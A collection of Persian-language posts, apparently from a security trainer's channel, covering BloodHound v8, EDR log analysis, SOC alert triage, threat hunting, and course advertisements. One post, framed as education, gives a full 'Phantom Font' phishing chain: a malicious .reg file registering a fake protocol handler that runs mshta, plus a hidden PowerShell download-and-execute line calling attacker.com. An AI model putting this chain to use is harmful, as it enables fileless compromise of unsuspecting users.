میتوان با یادگارهایی که به جا می‌گذاریم کاری کنیم در یادها بمانیم و طولانی تر زنده باشیم

پس در نشر دانش کوشا باشید

لینک زیر نسخه 8.0 را یک تغییر بنیادی برای BloodHound معرفی می‌کند که هدف آن تبدیل این ابزار از یک تحلیلگر مسیرهای حمله در Active Directory به یک پلتفرم جامع مدیریت ریسک هویتی (Identity Risk Management) در کل سازمان است.
مفهوم اصلی: چرا OpenGraph؟

مقاله توضیح می‌دهد که با پیچیده‌تر شدن محیط‌های سازمانی، هویت‌ها (کاربران، سرویس‌ها و…) و دسترسی‌های آن‌ها دیگر فقط به Active Directory محدود نمی‌شوند. امروزه یک هویت ممکن است به سیستم‌های زیر دسترسی داشته باشد:

محیط‌های ابری (مثل AWS, Azure, GCP)
پلتفرم‌های داده (مثل Snowflake)
ابزارهای توسعه (مثل GitHub, Jenkins)
سیستم‌های SaaS (مثل Salesforce)

مشکل اینجا بود که نسخه های قبلی BloodHound فقط می‌توانستند روابط و دسترسی‌ها را در محیط مایکروسافت (AD/Entra ID) ببینند و از خطرات موجود در این پلتفرم‌های دیگر بی‌خبر بودند. این یعنی یک تصویر ناقص از ریسک‌های واقعی سازمان به دست می‌آمد.

این OpenGraph راه‌حل این مشکل است. این یک معماری جدید است که به BloodHound اجازه می‌دهد:

دریافت داده از هر منبعی: می‌تواند داده‌های مربوط به هویت و دسترسی را از هر پلتفرمی (GitHub, Snowflake, SQL Server و غیره) دریافت و تحلیل کند.
ایجاد مدل تهدید سفارشی: به سازمان‌ها اجازه می‌دهد تا مدل داده و روابط خاص خودشان را تعریف کنند. مثلاً می‌توان تعریف کرد که یک “کاربر” در GitHub چگونه به یک “مخزن کد (Repository)” دسترسی “Admin” دارد.
تحلیل جامع ریسک: با ترکیب داده‌های تمام این سیستم‌ها، BloodHound v8.0 یک نقشه کامل از تمام مسیرهای حمله ممکن در کل سازمان ارائه می‌دهد، نه فقط در یک بخش آن.


https://specterops.io/blog/2025/07/29/bloodhound-v8-usability-extensibility-and-opengraph/

شما نمی‌توانید در آزمون CISSP موفق شوید مگر آنکه Cover to cover کتاب رو بخونید

هیییییچ راه میانبری برای موفقیت وجود ندارد

درد باید کشید شب نخوابی باید داشت

سناریوی جذاب امشب : "فونت شبح" (The Phantom Font Attack)

این سناریو mshta.exe را با تکنیک‌های دیگری ترکیب می‌کند تا یک حمله تقریباً نامرئی و بدون فایل (Fileless) ایجاد کند که حتی ممکن است برخی از سیستم‌های EDR (Endpoint Detection and Response) را به چالش بکشد.

هدف مهاجم: اجرای کد مخرب روی سیستم قربانی (مثلاً یک کارمند در یک شرکت بزرگ) بدون اینکه هیچ فایل اجرایی یا اسکریپت مشکوکی روی دیسک ذخیره شود و با دور زدن سیاست‌های محدودکننده اسکریپت.


مرحله ۱: طعمه و نفوذ اولیه (The Lure)

مهاجم یک ایمیل فیشینگ بسیار هوشمندانه برای قربانی ارسال می‌کند. محتوای ایمیل، یک سند طراحی یا گزارش برندینگ از طرف "تیم بازاریابی" است. در ایمیل نوشته شده:

سلام، لطفاً پیش‌نویس گزارش برندینگ Q3 را بررسی کنید. توجه: برای مشاهده صحیح گزارش، باید فونت مخصوص شرکت ما که در لینک زیر قرار دارد را نصب کنید. بدون این فونت، سند به هم ریخته نمایش داده می‌شود. با تشکر.

لینک ارائه شده در ایمیل به نظر یک لینک دانلود فونت است، مثلاً https://branding-assets.com/fonts/download.php?font=CorpSans.ttf.

مرحله ۲: سوءاستفاده از رجیستری ویندوز (The Registry Trick)

اینجاست که سناریو عجیب می‌شود. قربانی روی لینک کلیک می‌کند. اما سرور مهاجم به جای یک فایل فونت (.ttf)، یک فایل با پسوند .reg برای او ارسال می‌کند. بسیاری از کارمندان ممکن است ندانند فایل .reg چیست و با دیدن پیغام ویندوز مبنی بر "اضافه کردن اطلاعات به رجیستری" (Add information to the registry)، دکمه Yes را بزنند، با این تصور که در حال نصب فونت هستند.

این فایل .reg یک تغییر کوچک اما حیاتی در رجیستری ویندوز ایجاد می‌کند. این فایل یک "Protocol Handler" سفارشی برای یک پروتکل ساختگی به نام fontview:// تعریف می‌کند.

محتوای فایل .reg چیزی شبیه به این است:


[HKEY_CLASSES_ROOT\fontview]
@="URL:FontView Protocol"
"URL Protocol"=""

[HKEY_CLASSES_ROOT\fontview\shell]

[HKEY_CLASSES_ROOT\fontview\shell\open]

[HKEY_CLASSES_ROOT\fontview\shell\open\command]
@="mshta.exe \"javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\PhantomFont\\\\Payload'));window.close();\""


چه اتفاقی افتاد؟
این فایل به ویندوز می‌گوید: "از این به بعد، هر لینکی که با fontview:// شروع شود را با mshta.exe باز کن و این دستور جاوا اسکریپت را اجرا کن."

مرحله ۳: اجرای بدون فایل از طریق رجیستری (The Fileless Execution)

پس از اینکه قربانی فایل .reg را اجرا کرد، صفحه وب مهاجم (که قربانی از آن فایل را "دانلود" کرده بود) به صورت خودکار به یک URL جدید ریدایرکت می‌شود:

fontview://load

ویندوز با دیدن این لینک، بلافاصله mshta.exe را طبق دستوری که در رجیستری ثبت شده، فراخوانی می‌کند. حالا mshta.exe دستور جاوا اسکریپت زیر را اجرا می‌کند:

javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\Software\\PhantomFont\\Payload'));window.close();

این دستور به mshta می‌گوید:
1. به رجیستری ویندوز در مسیر HKCU\Software\PhantomFont برو.
2. مقداری به نام Payload را از آنجا بخوان.
3. محتوای خوانده شده را به عنوان کد جاوا اسکریپت اجرا کن (eval).
4. بلافاصله پنجره mshta.exe را ببند (window.close()) تا هیچ اثری روی صفحه باقی نماند.

اما صبر کنید، مقدار Payload از کجا آمده؟ مهاجم آن را همزمان با تعریف Protocol Handler در همان فایل .reg اولیه در رجیستری ذخیره کرده است!

بنابراین، فایل .reg کامل چیزی شبیه این بوده:


[HKEY_CLASSES_ROOT\fontview]
@="URL:FontView Protocol"
"URL Protocol"=""
... (بقیه دستورات Protocol Handler) ...

[HKEY_CURRENT_USER\Software\PhantomFont]
"Payload"="var sh = new ActiveXObject('WScript.Shell'); sh.Run('powershell -nop -w hidden -c \\"IEX ((new-object net.webclient).downloadstring(\\'http://attacker.com/stage2.ps1\\'))\\"', 0, false);"
`

این مقدار Payload یک کد PowerShell است که از سرور مهاجم یک اسکریپت دیگر (مثلاً یک Cobalt Strike Beacon) را دانلود و در حافظه (memory) اجرا می‌کند.

این سناریو نشان می‌دهد که چگونه یک ابزار به ظاهر ساده مانند mshta.exe می‌تواند به عنوان یک قطعه کلیدی در یک زنجیره حمله بسیار پیچیده و پنهانکارانه عمل کند.


توضیح :
اینfontview:// یک پروتکل جعلی است و پروتکل هندلر آن، دستوری است که مهاجم در رجیستری ویندوز کاشته تا به ویندوز بگوید با این پروتکل جعلی چه کار کند؛ که در این سناریو، اجرای mshta.exe برای اهداف مخرب است.

زغوغای جهان فارق
غور در لاگ :

زمان: T0 (10:30:15 AM)

منبع: Windows Security Log (Event ID 4688 - A new process has been created)

{
"EventID": 4688,
"SubjectUserName": "jsmith",
"ProcessName": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
"ParentProcessName": "C:\\Windows\\System32\\explorer.exe",
"CommandLine": "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -ExecutionPolicy Bypass -File \"\\\\192.168.1.100\\share\\Invoke-Stage.ps1\""
}

زمان: T1 (10:30:17 AM)

منبع: Sysmon (Event ID 10 - ProcessAccess)


{
"EventID": 10,
"UtcTime": "2023-10-27 10:30:17.580",
"SourceProcessGUID": "{b4d1a2e3-f6a8-653b-0000-0010c3b4d20f}",
"SourceImage": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
"TargetProcessGUID": "{b4d1a2e3-f6a8-653b-0000-0010c3b4d20f}",
"TargetImage": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
"GrantedAccess": "0x1FFFFF",
"CallTrace": "C:\\Windows\\SYSTEM32\\ntdll.dll+a7b14|C:\\Windows\\System32\\KERNELBASE.dll+3a3b4|..."
}


زمان: T2 (10:30:18 AM)

منبع: Sysmon (Event ID 7 - Image Loaded)

{
"EventID": 7,
"UtcTime": "2023-10-27 10:30:18.112",
"ProcessGUID": "{b4d1a2e3-f6a8-653b-0000-0010c3b4d20f}",
"Image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
"ImageLoaded": "C:\\Program Files\\Sophos\\Sophos Endpoint Agent\\sophos_agent.dll",
"Signature": "Sophos Limited",
"Signed": "True"
}

زمان: T3 (10:30:20 AM)

منبع: لاگ EDR (EDR Telemetry)

{
"Timestamp": "10:30:20 AM",
"ProcessName": "powershell.exe",
"PID": 4120,
"Action": "FileRead",
"Target": "C:\\Windows\\System32\\ntdll.dll",
"Result": "Success"
}

سکوت مرگبار ......

زمان: T4 (10:30:22 AM تا 10:31:00 AM)

منبع: لاگ EDR

هیچ لاگ API حساسی وجود ندارد!


این دنباله از لاگ‌ها یک داستان کامل از چگونگی دور خوردن یک EDR متکی بر User−ModeHookingUser−ModeHooking را روایت می‌کند و نشان می‌دهد که چرا تکیه بر یک منبع لاگ به تنهایی کافی نیست و همبستگی داده‌ها (LogCorrelationLogCorrelation) از منابع مختلف (Sysmon, EDR, Network) برای کشف چنین تهدیدات پیشرفته‌ای حیاتی است.


کل سناریو رو میتونید امشب در کانال تلگرامم بخونید roozbeh_learning


دوره CISSP شامل دو دهه تجربه و صد ها کتاب تقدیم به ایرانیان = واتس اپ و بله 09902857290

از صفر در امنیت تا.....

ابراز علاقه بسیاری از عزیزان من رو بر آن داشت تا به این اشتیاق پاسخ دهم و مسیری رو برای علاقمندان شروع کنم.

از صفر در امنیت تا.....

لذا اولش دستگرمی یک ۳۰ ساعت باهم امنیت رو شروع میکنیم تا ببینیم اگر هستید و همت دارید ادامه دهیم


مثل همیشه به واتس اپ و بله 09902857290 پیام بدین و ثبت نام کنید

بسم الله
تمام.

هوش مصنوعی رفتاری: مغز متفکر EDR و XDR های مدرن

در دنیای امنیت سایبری، دیگر نمی‌توان تنها به دنبال بدافزارهای شناخته‌شده گشت. مهاجمان امروزی از تکنیک‌های بدون فایل (Fileless)، ابزارهای خود سیستم‌عامل (Living-off-the-Land) و اسکریپت‌های ناشناخته استفاده می‌کنند که هیچ امضای مشخصی ندارند. اینجا است که هوش مصنوعی رفتاری (Behavioral AI) به عنوان مهم‌ترین و پیشرفته‌ترین بخش یک EDR (Endpoint Detection and Response) وارد میدان می‌شود.

برخلاف آنتی‌ویروس‌های سنتی که می‌پرسند “این فایل چیست؟”، هوش مصنوعی رفتاری می‌پرسد “این فرآیند چه کاری انجام می‌دهد؟”.
این تکنولوژی به جای تمرکز بر ظاهر یک فایل، به تحلیل زنجیره‌ی علت و معلولی رفتارها در زمان اجرا (Runtime) می‌پردازد.

تصور کنید فرآیند Word.exe که یک برنامه‌ی کاملاً مجاز است، ناگهان یک فرزند PowerShell.exe ایجاد می‌کند. این به خودی خود مشکوک نیست. اما اگر آن اسکریپت پاورشل تلاش کند به حافظه‌ی یک فرآیند دیگر تزریق کد انجام دهد (Code Injection)، دسترسی‌های خود را ارتقا دهد و سپس یک اتصال شبکه به یک آدرس IP ناشناس در خارج از کشور برقرار کند، یک داستان کاملاً متفاوت روایت می‌شود.

هوش مصنوعی رفتاری ؛ این نقاط داده‌ی به ظاهر بی‌ربط را به هم متصل کرده و یک “داستان حمله” (Attack Storyline) منسجم ایجاد می‌کند. این مدل‌های یادگیری ماشین (ML) با مشاهده‌ی هزاران میلیارد رویداد، یاد گرفته‌اند که رفتار عادی یک سیستم چگونه است و هرگونه انحراف از این الگو را به عنوان یک شاخص حمله (Indicator of Attack - IOA) شناسایی می‌کنند.

کیفیت و پیچیدگی همین موتور تحلیلی، تفاوت اصلی بین EDR و XDR های پیشرو مانند Trendmicro و راه‌حل‌های سنتی‌تر است. آن‌ها به جای تعقیب بدافزار، قصد و نیت مخرب را در لحظه شناسایی و مسدود می‌کنند. در نهایت، این تحلیل رفتاری است که به EDR و XDR قدرت می‌دهد تا نه تنها در برابر تهدیدات شناخته‌شده، بلکه در مقابل حملات روز صفر (Zero-day) و تاکتیک‌های هوشمندانه‌ی مهاجمان نیز بایستد و امنیت واقعی را برای نقاط پایانی به ارمغان آورد.



دوره CISSP از هفته آخر مرداد ماه

https://t.me/OxAA55


کانال بسیار ارزشمند در مورد اکسپلویت های لینوکس از جناب کاظمی

ثبت نام دوره سطح ۱ شروع شد
واتس اپ و بله 09902857290

Www.haumoun.com
Www.Roozbeh.academy

جایی گفته شده که بروید بجای Auditd در لینوکس ؛ Osquery نصب کنید
اما این جمله کلا مشکل دارد

مقوله Auditd یک ماژول سطح پایین کرنل هست و می‌تونه خیلی دقیق و با دقت میلی‌ثانیه‌ای هر تغییری در فایل، syscall و policy را لاگ کنه. بسیاری از رویدادهای حیاتی و حساس ( مثل privilege escalation یا policy violation) فقط با auditd دیده می‌شن.
اما osquery بیشتر برای مشاهدهٔ کل وضعیت سیستم، asset management، و شکار تهدید (threat hunting) خیلی عالیه، اما واقعا برای لاگ‌برداری لحظه‌ای از رویدادهای بسیار حساس یا policy enforcement مثل auditd قابل‌اعتماد یا realtime نیست.


پس دقیق باشیم امنیت رشته ای است که باید دقیق باشیم ✅️
ضمنا با احترام به آموزش های رایگان ، نباید زمان ، فرصت و اندیشه را بدست هرکسی دارد. چون اشکالاتی این چنین در آموزش های رایگان دیده می‌شود.

تبصره: آموزش های رایگان جناب کاظمی ( دو پست قبل ) کلا از منظور این پست جدا هستند چون ایشان استاد بلامنازع لینوکس اینترنال هستند پس آموزش های ایشون رو دریابید

نکات SOC
تمرکز بر نشانه‌های مهم حمله؛ نه هر آژیری که به صدا در می‌آید

در دنیای امنیت سایبری، ابزارهایی مثل SIEM، EDR و فایروال‌ها روزانه هزاران هشدار و نشانه (IOA: Indicator of Attack) تولید می‌کنند. اما واقعیت این است: هر نشانه‌ای لزوماً برای شما حیاتی نیست. آن چیزی اهمیت دارد که واقعا با ریسک‌های سازمان شما و دارایی‌های حیاتی‌تان ارتباط مستقیم دارد.

مثال فنی: بانک و هشدارهای Remote Desktop

فرض کنید شما تحلیل‌گر امنیت یک بانک هستید که با اطلاعات حساس مشتریان، تراکنش‌های مالی و سامانه بانک‌داری سروکار دارد. هر روز SIEM شما صدها هشدار درباره رخدادهایی مانند لاگین‌های ناموفق Remote Desktop دریافت می‌کند (Failed RDP logins).

در نگاه اول، همه این هشدارها به نظر تهدید می‌آیند. اما آیا واقعاً همه این‌ها مهم‌اند؟

اینجاست که باید مفهوم Event of Interest (EOI) را بشناسید.

شما پروفایل دارایی‌ها را بررسی می‌کنید و می‌بینید لاگین ناموفق روی یک سرور تست که هیچ دسترسی به داده حساس ندارد رخ داده. از طرف دیگر، هشدار مشابهی روی دیتابیس تراکنش بانکی می‌آید که به تازگی از یک IP غیر مرتبط امتحان شده و بلافاصله چند رفتار مشکوک دیگر (مانند اجرای PowerShell) دیده می‌شود.

حالا تفاوت را ببینید:

- سرور تست : فقط یک نشانه از حمله است (IOA)، اما اهمیت خاصی برای سازمان ندارد؛ پس جزء EOI حساب نمی‌شود.
- سرور پایگاه داده تراکنشی:هم ریسک بالاست و هم احتمال بهره‌برداری جدی؛ این یک Event of Interest واقعی برای شماست.

پس

به جای تلاش برای واکنش به هر هشدار، منابع و انرژی تیم امنیتی باید صرف رخدادهایی شود که متناسب با دارایی‌های حیاتی و تهدیدهای واقعی سازمان هستند. این یعنی تقویت امنیت هوشمند، نه پر سر و صدا.


ثبت نام دوره های آکادمی روزبه
دوره سطح ۱
دوره CISSP
واتس اپ و بله 09902857299


دوره های سایر سطوح و هانت و بنفش در آینده نزدیک اعلام می‌شوند

اسلاید اصل درس سنز ۶۰۸ به همراه ۲۳ سال تجربه ⏮️ آکادمی روزبه

دوره هانت باید اصل و کامل باشد
Threat hunting

کشف امروز

نصب یا اجرای مفسر پایتون روی سیستم‌ها عمدتاً بدون نظارت انجام می‌شود، درحالی‌که همین موضوع می‌تواند به سوءاستفاده و ایجاد بک‌دور توسط مهاجمان منجر شود؛ نمونه‌ای امروز با آن روبرو بودم
پیشنهاد میدم پس از شناسایی رفتار نرمال، هر اجرای غیرمنتظره‌ پایتون باید به‌عنوان هشدار اولیه در نظر گرفته شود. آیا پایتون به‌طور معمول در سازمان‌ شما روی سیستم‌ها، چه به‌صورت مستقل و چه به‌همراه سایر نرم‌افزارها، نصب است ؟


دقت کنیم. تمیز کار کنیم

امروز می‌خواهم داستان یک "کوری موقت" را با شما به اشتراک بگذارم.

چند ماه پیش، درگیر تحلیل یک مورد امنیتی پیچیده بودیم. تمام ابزارهای استاندارد ما، از EDR گرفته تا آنالیزرهای لاگ، هیچ چیز مشکوکی را نشان نمی‌دادند. همه چیز در داشبورد ها “سبز” بود و سیستم به ظاهر پاک به نظر می‌رسید. تیممون تقریباً داشت به این نتیجه می‌رسید که یک “هشدار کاذب” (False Positive) بوده است.
اما یک چیزی در این میان درست نبود. یک “حس” درونی که از صدها سناریوی قبلی نشأت می‌گرفت، به من می‌گفت که مهاجم هنوز آنجاست، فقط خیلی خوب خودش را پنهان کرده است. شاید یک دلیل آن بود که آن بلوغی که انتظار داشتم در آن SOC و آن بانک دیده نمیشد . مطمئن بودم همه کلاینت ها و سرور ها ۱۰۰ درصد ایجنت EDR فعال و به روز ندارند و شبکه با آنکه در حوزه بانکی بود، سگمنتیشن مناسب را نداشت .
اینجا بود که ابزارها را کنار گذاشتم و به سراغ “اصول” رفتم.
به جای پرسیدن “ابزار چه می‌گوید؟” از خودم پرسیدم: “اگر من مهاجم بودم، چطور از دید ابزارها پنهان می‌شدم؟”. این سوال، مسیر تحلیل را به کلی تغییر داد. شروع کردم به بررسی ارتباطات شبکه‌ای که در نگاه اول عادی به نظر می‌رسیدند اما در “زمان‌بندی” و “حجم داده” یک الگوی غیرعادی و بسیار ظریف داشتند. مهاجم از یک پروتکل کاملاً استاندارد مثل BITS برای استخراج داده استفاده می‌کرد، اما به شکلی که هیچ قانونی (Rule) در ابزارهای ما آن را تشخیص نمی‌داد.
آن روز، ابزارها کور بودند، اما “تفکر هانتینگ” بینا بود. ما مهاجم را نه با یک امضای جدید، بلکه با درک عمیق از “رفتار” او پیدا کردیم.
این دقیقاً همان چیزی است که در دوره هانتینگ و فارنزیک روی آن تاکید دارم. ما یاد می‌گیریم چطور فراتر از داشبوردها و هشدارها فکر کنیم. یاد می‌گیریم چطور وقتی ابزارها سکوت کرده‌اند، ما همچنان سوالات درست را بپرسیم. چون یک مهاجم حرفه‌ای، اولین کاری که می‌کند، دور زدن ابزار شماست. آیا شما برای آن روز آماده‌اید؟
اگر می‌خواهید این سطح از تحلیل را تجربه کنید و از یک اپراتور ابزار به یک “شکارچی” واقعی تهدید تبدیل شوید، به من در واتس‌اپ یا بله پیام دهید. در این دوره مثال‌هایی چون مورد فوق رو کاملا برای شما می‌شکافم تا طرز تفکر و استدلال درست رو باهم مرور کنیم و یاد بگیرید .
اطلاعات تماس و ثبت‌نام:
WhatsApp & BALE: 09902857290
لیست کامل دوره‌ها و زمانبندی را می‌توانید از همین شماره دریافت کنید

خلاصه عنوان دوره ها:

سطح ۱ امنیت

سنز ۶۰۸ هانت و IR

سنز ۵۹۹ تیم بنفش

دوره CISSP

همه جای ایران به هر سبکی ؛ سرای من است

درحال ضبط دوره امنیت سایبری اختصاصی سازمان



واتس اپ و بله برای دریافت خدمات 09902857290

مهم نیست دوره سطح ۱ رو کجا رفتین.
اونچه من بررسی میکنم و یاد میدم حاصل تجربه خودم در ۲۳ سال از اونچه بلد هستم است + اونچه میدونم در جاهای دیگه گفته نمیشه.
پس
هرجا دوره رفته باشین باز سطح ۱ پیش من یادگرفتنی زیاد داره .
بریم یکبار واسه همیشه اساسی بکوبیم بیاریم بالا !!
دلیل اینکه سطح ۱ رو گذاشتم هم همینه .